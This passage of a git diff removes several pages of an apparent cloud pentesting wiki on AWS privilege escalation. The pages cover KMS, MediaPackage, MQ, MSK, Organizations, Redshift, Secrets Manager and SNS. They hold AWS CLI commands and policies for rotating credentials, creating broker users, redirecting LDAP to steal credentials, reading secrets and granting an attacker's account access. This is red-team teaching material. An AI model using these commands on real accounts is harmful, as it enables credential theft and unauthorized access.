-                "AWS": "*"
-            },
-            "Action": "kms:*",
-            "Resource": "*"
-        }
-    ]
-}
-```
-{% endcode %}
-
-### `kms:Decrypt`
-
-This permission allows to use a key to decrypt some information.\
-For more information check:
-
-{% content-ref url="../aws-post-exploitation/aws-kms-post-exploitation.md" %}
-[aws-kms-post-exploitation.md](../aws-post-exploitation/aws-kms-post-exploitation.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
deleted file mode 100644
index 3156ba72e..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# AWS - Mediapackage Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### `mediapackage:RotateChannelCredentials`
-
-Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials)
-
-```bash
-aws mediapackage rotate-channel-credentials --id <value>
-```
-
-### `mediapackage:RotateIngestEndpointCredentials`
-
-Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials)
-
-{% code overflow="wrap" %}
-```bash
-aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
-```
-{% endcode %}
-
-## References
-
-* [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
deleted file mode 100644
index 3532b180a..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ /dev/null
@@ -1,79 +0,0 @@
-# AWS - MQ Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## MQ
-
-For more information about MQ check:
-
-{% content-ref url="../aws-services/aws-mq-enum.md" %}
-[aws-mq-enum.md](../aws-services/aws-mq-enum.md)
-{% endcontent-ref %}
-
-### `mq:ListBrokers`, `mq:CreateUser`
-
-With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ):
-
-{% code overflow="wrap" %}
-```bash
-aws mq list-brokers
-aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
-```
-{% endcode %}
-
-**Potential Impact:** Access sensitive info navigating through ActiveMQ
-
-### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
-
-With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ):
-
-{% code overflow="wrap" %}
-```bash
-aws mq list-brokers
-aws mq list-users --broker-id <value>
-aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
-```
-{% endcode %}
-
-**Potential Impact:** Access sensitive info navigating through ActiveMQ
-
-### `mq:ListBrokers`, `mq:UpdateBroker`
-
-If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**.
-
-```bash
-aws mq list-brokers
-aws mq update-broker --broker-id <value> --ldap-server-metadata=...
-```
-
-If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this).
-
-**Potential Impact:** Steal ActiveMQ credentials
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
deleted file mode 100644
index c5a09cb29..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ /dev/null
@@ -1,52 +0,0 @@
-# AWS - MSK Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## MSK
-
-For more information about MSK (Kafka) check:
-
-{% content-ref url="../aws-services/aws-msk-enum.md" %}
-[aws-msk-enum.md](../aws-services/aws-msk-enum.md)
-{% endcontent-ref %}
-
-### `msk:ListClusters`, `msk:UpdateSecurity`
-
-With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them.
-
-{% code overflow="wrap" %}
-```bash
-aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
-```
-{% endcode %}
-
-You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\
-If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
deleted file mode 100644
index 89b2282f2..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# AWS - Organizations Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Organizations
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-organizations-enum.md" %}
-[aws-organizations-enum.md](../aws-services/aws-organizations-enum.md)
-{% endcontent-ref %}
-
-## From management Account to children accounts
-
-If you compromise the root/management account, chances are you can compromise all the children accounts.\
-To [**learn how check this page**](../#compromising-the-organization).
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
deleted file mode 100644
index e5098c244..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ /dev/null
@@ -1,135 +0,0 @@
-# AWS - Redshift Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Redshift
-
-For more information about RDS check:
-
-{% content-ref url="../aws-services/aws-redshift-enum.md" %}
-[aws-redshift-enum.md](../aws-services/aws-redshift-enum.md)
-{% endcontent-ref %}
-
-### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
-
-With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it:
-
-```bash
-# Get creds
-aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
-# Connect, even if the password is a base64 string, that is the password
-psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
-```
-
-**Potential Impact:** Find sensitive info inside the databases.
-
-### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
-
-With these permissions you can get **info of all the clusters** and **get credentials** to access it.\
-Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has.
-
-```bash
-# Get creds
-aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
-# Connect, even if the password is a base64 string, that is the password
-psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
-```
-
-**Potential Impact:** Find sensitive info inside the databases.
-
-### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
-
-It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet):
-
-```
-aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
-```
-
-**Potential Impact:** Find sensitive info inside the databases.
-
-## Accessing External Services
-
-{% hint style="warning" %}
-To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned.
-
-Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
-{% endhint %}
-
-### Lambdas
-
-As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r\_CREATE\_EXTERNAL\_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like:
-
-```sql
-CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) 
-RETURNS INT 
-STABLE 
-LAMBDA 'lambda_function' 
-IAM_ROLE default;
-```
-
-### S3
-
-As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**:
-
-```sql
-# Read
-copy table from 's3://<your-bucket-name>/load/key_prefix' 
-credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
-region '<region>'
-options;
-
-# Write
-unload ('select * from venue')   
-to 's3://mybucket/tickit/unload/venue_' 
-iam_role default;
-```
-
-### Dynamo
-
-As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t\_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**:
-
-```sql
-copy favoritemovies 
-from 'dynamodb://ProductCatalog'
-iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
-```
-
-{% hint style="warning" %}
-The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located.
-{% endhint %}
-
-### EMR
-
-Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
-
-## References
-
-* [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
deleted file mode 100644
index 8be266ddb..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ /dev/null
@@ -1,75 +0,0 @@
-# AWS - Secrets Manager Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Secrets Manager
-
-For more info about secrets manager check:
-
-{% content-ref url="../aws-services/aws-secrets-manager-enum.md" %}
-[aws-secrets-manager-enum.md](../aws-services/aws-secrets-manager-enum.md)
-{% endcontent-ref %}
-
-### `secretsmanager:GetSecretValue`
-
-An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**.
-
-```bash
-aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
-```
-
-**Potential Impact:** Access high sensitive data inside AWS secrets manager service.
-
-### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
-
-With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)).
-
-```bash
-aws secretsmanager list-secrets
-aws secretsmanager get-resource-policy --secret-id <secret_name>
-aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
-```
-
-policy.json:
-
-```json
-{
-  "Version" : "2012-10-17",
-  "Statement" : [ {
-    "Effect" : "Allow",
-    "Principal" : {
-      "AWS" : "arn:aws:iam::<attackers_account>:root"
-    },
-    "Action" : "secretsmanager:GetSecretValue",
-    "Resource" : "*"
-  } ]
-}
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
deleted file mode 100644
index bdbe2bea2..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ /dev/null
@@ -1,71 +0,0 @@
-# AWS - SNS Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## SNS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-sns-enum.md" %}
-[aws-sns-enum.md](../aws-services/aws-sns-enum.md)
-{% endcontent-ref %}
-
-### `sns:Publish`
-
-An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources.
-
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-
-**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
-
-### `sns:Subscribe`
-
-An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.
-
-{% code overflow="wrap" %}
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-```
-{% endcode %}
-
-**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic.
-
-### `sns:AddPermission`
-
-An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions.
-
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-```
-
-**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
